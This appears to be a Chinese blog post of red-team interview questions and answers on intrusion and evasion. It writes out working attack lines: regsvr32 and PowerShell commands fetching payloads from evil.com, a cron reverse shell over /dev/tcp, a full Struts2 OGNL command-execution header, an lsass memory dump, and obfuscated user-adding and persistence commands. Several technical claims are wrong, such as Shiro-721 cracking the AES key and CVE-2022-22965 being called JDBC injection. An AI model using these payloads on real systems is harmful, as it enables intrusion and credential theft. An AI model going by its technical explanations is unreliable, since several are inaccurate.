2025年渗透测试面试题总结-渗透测试红队面试七(题目+回答)

发布于:2025-05-13 ⋅ 阅读:(13) ⋅ 点赞:(0)

网络安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。

目录

渗透测试红队面试七

一百八十一、Shiro漏洞类型,721原理,721利用要注意什么?

一百八十二、HVV三大洞

一百八十三、天擎终端防护绕过思路

一百八十四、免杀木马的思路

一百八十五、JSONP与CORS跨域危害

一百八十六、外网打点进入内网案例

一百八十七、RMI利用原理

一百八十八、域内普通用户利用

一百八十九、宝塔禁止PHP函数绕过

一百九十、证书透明度的危害

一百九十一、内网渗透降权的作用

一百九十二、Webshell有SYSTEM权限但无法执行命令

一百九十三、TrustedInstaller权限原理

一百九十四、2008服务权限提权

一百九十五、Windows UAC原理

一百九十六、绕过火绒/360添加用户

一百九十七、伪造钓鱼邮箱与风险

一百九十八、默认端口

一百九十九、XSS组合拳Getshell

二百、烂土豆(Rotten Potato)提权原理

二百〇一、PowerShell免杀制作

二百〇二、绕过内存Hash提取查杀

二百〇三、Linux/Windows权限维持

二百〇四、蓝队与红队工作流程

二百〇五、Shellcode嵌入正常EXE

二百〇六、Spring框架漏洞

二百〇七、Struts2漏洞利用原理

二百〇八、PHP/Java反序列化漏洞原理与修复

二百〇九、CRLF注入原理

二百一十、PHP LFI漏洞

渗透测试红队面试七

一百八十一、shiro漏洞类型,721原理,721利用要注意什么?

一百八十二、hvv三大洞?

一百八十三、天擎终端防护如何绕过,绕过思路?

一百八十四、免杀木马的思路?

一百八十五、jsonp跨域的危害,cors跨域的危害?

一百八十六、说出印象比较深刻的一次外网打点进入内网?

一百八十七、rmi的利用原理?

一百八十八、域内的一个普通用户(非域用户)如何进行利用?

一百八十九、宝塔禁止PHP函数如何绕过?

一百九十、证书透明度的危害?

一百九十一、内网渗透降权的作用?

一百九十二、webshell有system权限但无法执行命令,怎么办?

一百九十三、TrustedInstall权限的原理是什么?

一百九十四、2008的服务权限如何进行提权?

一百九十五、Windows UAC原理是什么?

一百九十六、Windows添加用户如何绕过火绒以及360?

一百九十七、如何伪造钓鱼邮箱?会面临什么问题?

一百九十八、分别说出redis、weblogic、Mongodb、Elasticsearch、ldap、sambda、Jenkins、rmi默认端口。

一百九十九、XSS如何配合组合拳进行getshell。

二百、烂土豆提权使用过吗?它的原理?

二百〇一、powershell免杀怎么制作?

二百〇二、提取内存hash被查杀,如何绕过?

二百〇三、分别说下linux、windows的权限维持?

二百〇四、如何开展蓝队工作?如何开展红队工作?

二百〇五、如何把shellcode嵌入到正常exe中?

二百〇六、描述下Spring框架的几个漏洞?

二百〇七、说下strust2的漏洞利用原理?

二百〇八、php/java反序列化漏洞的原理?解决方案?

二百〇九、CRLF注入的原理

二百一十、php的LFI,本地包含漏洞原理是什么?写一段带有漏洞的代码。手工的话如何发掘?如果无报错回显,你是怎么遍历文件的?

一百八十一、Shiro漏洞类型,721原理,721利用要注意什么?

  1. 漏洞类型
    • 反序列化漏洞(Shiro-550):因硬编码密钥导致攻击者伪造RememberMe Cookie,利用Apache Commons Collections链执行任意代码。
    • 权限绕过漏洞(CVE-2020-1957等):URL路径解析缺陷(如/admin/被解析为/admin绕过鉴权)。
    • Padding Oracle攻击(Shiro-721):CBC加密模式填充错误漏洞,可破解密钥伪造恶意Cookie。
  2. Shiro-721原理
    • 攻击者需先获取合法用户的RememberMe Cookie(需高权限账户)。
    • 利用CBC加密的填充错误机制,通过多次请求(约数千次)逐字节爆破AES密钥。
    • 最终构造恶意序列化数据,触发反序列化漏洞执行代码。
  3. 利用注意事项
    • 需要稳定的网络环境(避免请求失败中断爆破)。
    • 目标需开启RememberMe功能且使用默认AES加密模式。
    • 攻击时间较长,需隐蔽操作避免触发告警。

一百八十二、HVV三大洞

  1. 未授权访问
    • Redis/MongoDB未授权:直接连接执行命令或写入SSH密钥。
    • K8s API Server暴露:未鉴权下创建Pod或执行容器逃逸。
  2. 远程代码执行(RCE)
    • Web应用漏洞:如Fastjson反序列化、Log4j2 JNDI注入。
    • 中间件漏洞:如WebLogic T3协议反序列化、Apache Solr Velocity模板注入。
  3. 弱口令与默认配置
    • 系统/设备弱口令:如Tomcat默认密码admin:admin
    • 服务默认端口暴露:如Elasticsearch 9200端口未配置访问控制。

一百八十三、天擎终端防护绕过思路

  1. 进程注入与内存免杀
    • 将恶意代码注入可信进程(如svchost.exe )或通过反射型DLL加载。
    • 使用工具:Cobalt Strike的shinject、Metasploit的migrate
  2. 驱动级绕过
    • 利用已签名驱动的漏洞(如某些硬件厂商驱动)加载内核模块。
    • 例如:通过BYOVD(Bring Your Own Vulnerable Driver)攻击。
  3. 白名单程序滥用
    • 劫持系统工具执行恶意操作,如:
      • WMI:通过wmic执行远程脚本。
      • MsBuild:编译内嵌恶意代码的C#项目文件。

一百八十四、免杀木马的思路

  1. 代码混淆与加密
    • 使用AES加密Shellcode,运行时动态解密(如使用VirtualAlloc分配内存执行)。
    • 工具:sgn(Shikata Ga Nai)编码器、ConfuserEx混淆器。
  2. 合法工具加载
    • 利用微软签名的程序加载恶意代码,如:
      • Regsvr32:执行远程脚本(regsvr32 /s /n /u /i:http://evil.com/file.sct scrobj.dll )。
      • Mshta:运行HTA文件执行PowerShell命令。
  3. 反沙箱与反调试
    • 检测虚拟机环境(如检查进程名vmtoolsd、注册表键值)。
    • 延迟执行:通过Sleep()函数或条件触发绕过行为分析。

一百八十五、JSONP与CORS跨域危害

  1. JSONP危害
    • 敏感数据泄露:若回调函数名未过滤,攻击者可劫持返回数据(如窃取用户身份信息)。
    • CSRF攻击:结合JSONP接口实现跨站请求伪造(如修改用户密码)。
  2. CORS危害
    • 配置不当导致越权:如Access-Control-Allow-Origin: *允许任意域读取数据。
    • 结合XSS攻击:通过CORS信任域下的XSS窃取其他域的数据(如Cookie)。

一百八十六、外网打点进入内网案例

案例背景:某企业官网存在Git源码泄露,导致数据库密码暴露。
攻击链

  1. 外网突破:通过泄露的数据库密码登录后台,上传Webshell。
  2. 内网渗透:发现内网Jenkins服务(未授权访问),利用Groovy脚本执行命令。
  3. 横向移动:通过Jenkins节点获取域用户凭证,利用SMB爆破横向至域控服务器。

一百八十七、RMI利用原理

  1. 攻击面
    • RMI Registry反序列化:向Registry发送恶意对象触发反序列化(如CVE-2017-3248)。
    • 远程对象方法调用:通过动态类加载(DGC)下载恶意类文件执行代码。
  2. 利用工具
    • ysoserial:生成Gadget链Payload(如JRMPClient)。
    • Exploit步骤
       

      bash

      复制

      java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections5 'cmd.exe /c calc'


一百八十八、域内普通用户利用

  1. 信息收集
    • PowerView:枚举域内主机(Get-NetComputer)、共享(Invoke-ShareFinder)。
    • BloodHound:分析域内权限关系,寻找攻击路径(如ACL滥用)。
  2. 横向移动
    • Pass-the-Hash:使用Mimikatz或Impacket的psexec.py 传递NTLM哈希。
    • MS17-010漏洞:利用永恒之蓝攻击未修补的主机。
  3. 提权路径
    • SeImpersonate权限滥用:使用Juicy Potato或PrintSpoofer获取SYSTEM权限。
    • 服务配置错误:利用弱权限服务路径替换DLL或EXE文件。

一百八十九、宝塔禁止PHP函数绕过

  1. 函数替代
    • 禁用system但允许shell_exec:使用shell_exec('whoami')执行命令。
    • 反引号执行echo \whoami`;`。
  2. LD_PRELOAD劫持
    • 编写恶意共享库(.so),通过putenv设置LD_PRELOAD劫持函数调用。
    • 代码示例:
       

      php

      复制

      putenv("LD_PRELOAD=/tmp/evil.so"); mail('','','',''); // 触发新进程加载恶意库


一百九十、证书透明度的危害

  1. 子域名劫持
    • 攻击者监控证书透明度日志,发现未使用的子域并注册指向恶意服务器。
    • 例如:dev.example.com 在证书日志中存在但DNS未解析,攻击者劫持后钓鱼。
  2. 伪造证书信任链
    • 利用透明度日志中的过期证书,伪装成合法服务进行中间人攻击。

一百九十一、内网渗透降权的作用

  1. 规避检测
    • 降权至普通用户减少日志告警(如域管操作触发SIEM规则)。
  2. 权限维持隐蔽性
    • 低权限账户不易被清理(如域管定期重置密码)。

一百九十二、Webshell有SYSTEM权限但无法执行命令

  1. 权限限制分析
    • AppLocker策略:限制非白名单程序执行(如禁止cmd.exe )。
    • 杀软拦截:静态检测Webshell关键词或动态拦截恶意进程。
  2. 绕过方法
    • COM对象调用:使用WScript.Shell执行命令。
       

      php

      复制

      $wsh = new COM('WScript.Shell'); $wsh->Run('cmd.exe /c whoami', 0, false);

    • DLL侧加载:通过rundll32加载恶意DLL。

一百九十三、TrustedInstaller权限原理

  1. 权限层级
    • TrustedInstaller是Windows资源的所有者(如系统文件),权限高于SYSTEM。
  2. 提权方法
    • 通过服务配置修改:劫持TrustedInstaller服务路径加载恶意程序。
    • 利用漏洞:如CVE-2020-1048(打印服务漏洞)获取权限。

一百九十四、2008服务权限提权

  1. 服务路径劫持
    • 查找弱权限服务(accesschk.exe -uwcqv),替换其二进制文件。
  2. DLL劫持
    • 将恶意DLL放置到服务加载路径中,劫持合法DLL调用。
  3. SC命令滥用
    • 通过sc config修改服务BIN_PATH指向恶意程序。

一百九十五、Windows UAC原理

  1. 权限隔离机制
    • 默认以标准用户权限运行进程,提权需用户确认或数字签名验证。
  2. 绕过方法
    • 白名单程序滥用:如cmstp.exemsiexec.exe 执行恶意代码。
    • UAC Bypass漏洞:如CVE-2019-1388(证书对话框提权)。

一百九十六、绕过火绒/360添加用户

  1. 直接修改注册表
    • 使用reg add添加用户键值,避开用户态Hook:
       

      cmd

      复制

      reg add "HKLM\SAM\SAM\Domains\Account\Users\000003F0" /v F /t REG_BINARY /d [hex数据]

  2. Powershell绕过
    • 使用混淆脚本调用net user命令:
       

      powershell

      复制

      &('ne'+'t') u'ser' evil P@ssw0rd /add


一百九十七、伪造钓鱼邮箱与风险

  1. 伪造方法
    • 域名仿冒:注册相似域名(如examp1e.com 代替example.com )。
    • SPF记录伪造:利用SPF配置不严格(?all)绕过邮件服务器验证。
  2. 面临风险
    • DMARC检测:收件方服务器可能标记邮件为垃圾或拒收。
    • 法律风险:可能触犯《刑法》第二百八十五条(非法侵入计算机信息系统罪)。

一百九十八、默认端口

服务 默认端口
Redis 6379
WebLogic 7001
MongoDB 27017
Elasticsearch 9200/9300
LDAP 389/636
Samba 445/139
Jenkins 8080
RMI Registry 1099

一百九十九、XSS组合拳Getshell

  1. XSS + CSRF
    • 通过XSS窃取管理员Cookie,伪造CSRF请求上传Webshell。
  2. XSS + CORS
    • 利用CORS配置错误,通过XSS跨域读取内网接口数据,获取敏感信息。
  3. XSS + 文件上传
    • 通过XSS劫持管理员会话,调用后台文件上传功能传马。

二百、烂土豆(Rotten Potato)提权原理

  1. 令牌模拟漏洞
    • 利用Windows本地NTLM认证流程(NTLM over localhost),将SYSTEM令牌模拟到当前进程。
  2. 利用条件
    • 需具备SeImpersonatePrivilege权限(IIS、SQL Server等默认拥有)。
  3. 攻击步骤
    • 触发本地NTLM认证,通过DCOM服务劫持端口,最终获取SYSTEM令牌。

二百〇一、PowerShell免杀制作

  1. 代码混淆
    • 使用Invoke-Obfuscation工具混淆脚本:
       

      powershell

      复制

      Invoke-Obfuscation -ScriptPath evil.ps1 -Command 'Token\All\1,Launcher\PS\124'

  2. 内存加载
    • 反射加载Shellcode:
       

      powershell

      复制

      $bytes = (New-Object Net.WebClient).DownloadData('http://evil.com/shellcode.bin'); [Reflection.Assembly]::Load($bytes).EntryPoint.Invoke($null,$null);


二百〇二、绕过内存Hash提取查杀

  1. 定制化工具
    • 修改Mimikatz源码(如函数名、字符串特征),绕过静态检测。
  2. 直接内存读取
    • 使用C++编写工具直接读取lsass.exe 内存,避开API Hook。
  3. 合法凭证导出
    • 使用微软官方工具procdump导出内存镜像,本地解析:
       

      cmd

      复制

      procdump.exe -ma lsass.exe lsass.dmp


二百〇三、Linux/Windows权限维持

Linux Windows
1. SSH后门:修改~/.ssh/authorized_keys添加攻击者公钥。 1. 注册表启动项HKLM\Software\Microsoft\Windows\CurrentVersion\Run添加恶意路径。
2. Cron定时任务:添加* * * * * /bin/bash -c 'bash -i >& /dev/tcp/ip/port 0>&1' 2. 计划任务schtasks /create /tn "Update" /tr "C:\evil.exe" /sc minute /mo 1
3. SUID提权chmod +s /bin/bash,通过bash -p获取root权限。 3. 服务后门:创建服务指向恶意程序,sc create EvilService binPath= "C:\evil.exe"

二百〇四、蓝队与红队工作流程

蓝队(防御)

  1. 监控与分析:通过SIEM(如Splunk)实时分析日志,检测异常行为(如异常登录、横向移动)。
  2. 威胁狩猎:使用EDR工具(如CrowdStrike)主动搜寻隐藏威胁。
  3. 应急响应:隔离受感染主机,分析攻击链,修复漏洞并溯源攻击者。

红队(攻击模拟)

  1. 情报收集:通过OSINT(如Shodan、Hunter.io )收集目标信息。
  2. 漏洞利用:模拟APT攻击链(如鱼叉邮件钓鱼+内网渗透)。
  3. 报告输出:提供详细攻击路径与防御建议(如加固建议、检测规则)。

二百〇五、Shellcode嵌入正常EXE

  1. 资源文件插入
    • 使用Visual Studio将Shellcode作为资源文件嵌入,运行时加载执行:
       

      cpp

      复制

      HRSRC hRes = FindResource(NULL, MAKEINTRESOURCE(IDR_RCDATA1), RT_RCDATA); LPVOID pShellcode = LockResource(LoadResource(NULL, hRes));

  2. 附加节区注入
    • 使用CFF Explorer在PE文件中添加新节区,写入Shellcode并修改入口点。
  3. 进程镂空(Process Hollowing)
    • 创建合法进程(如svchost.exe ),卸载其内存,写入Shellcode并执行。

二百〇六、Spring框架漏洞

  1. CVE-2022-22963(SpEL注入)
    • 攻击者通过spring-cloud-function的SpEL表达式执行任意命令。
  2. CVE-2022-22965(JDBC注入)
    • 利用Spring MVC参数绑定漏洞,通过恶意请求修改JDBC URL触发RCE。
  3. CVE-2018-1273(远程代码执行)
    • 通过Spring Data Commons的嵌套属性绑定漏洞执行OGNL表达式。

二百〇七、Struts2漏洞利用原理

  1. OGNL表达式注入
    • 攻击者通过恶意参数(如Content-Typefilename)注入OGNL表达式。
    • 示例(CVE-2017-5638):
       

      http

      复制

      POST /struts2-showcase/upload.action HTTP/1.1 Content-Type: %{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}


二百〇八、PHP/Java反序列化漏洞原理与修复

  1. 漏洞原理
    • PHPunserialize()函数触发魔术方法(如__wakeup()__destruct())执行代码。
    • JavareadObject()方法反序列化恶意对象,触发Gadget链(如Apache Commons Collections)。
  2. 修复方案
    • 输入过滤:避免反序列化用户可控数据。
    • 安全配置:PHP禁用危险类(phar.readonly=On ),Java使用SerialKiller库过滤类。

二百〇九、CRLF注入原理

  1. 攻击场景
    • 注入\r\n分割HTTP头,如:
       

      http

      复制

      GET /%0d%0aSet-Cookie:evil=value HTTP/1.1

      服务器响应:
       

      http

      复制

      HTTP/1.1 200 OK Set-Cookie: evil=value

  2. 利用后果
    • 设置恶意Cookie、缓存投毒(如X-Forwarded-For头伪造IP)。

二百一十、PHP LFI漏洞

  1. 漏洞代码示例
     

    php

    复制

    <?php $page = $_GET['page']; include($page . '.html'); ?>

    • 攻击者可传入page=../../etc/passwd%00,利用空字节截断后缀。
  2. 手工挖掘技巧
    • 路径遍历测试?page=..%2f..%2fetc/passwd
    • 伪协议利用?page=php://filter/convert.base64-encode/resource=index.php 读取源码。
  3. 无回显文件遍历
    • 时间盲注:通过include延时判断文件存在性(如/proc/self/cwd/路径遍历)。
    • 错误触发:包含不存在的文件触发Warning日志,观察服务器响应差异。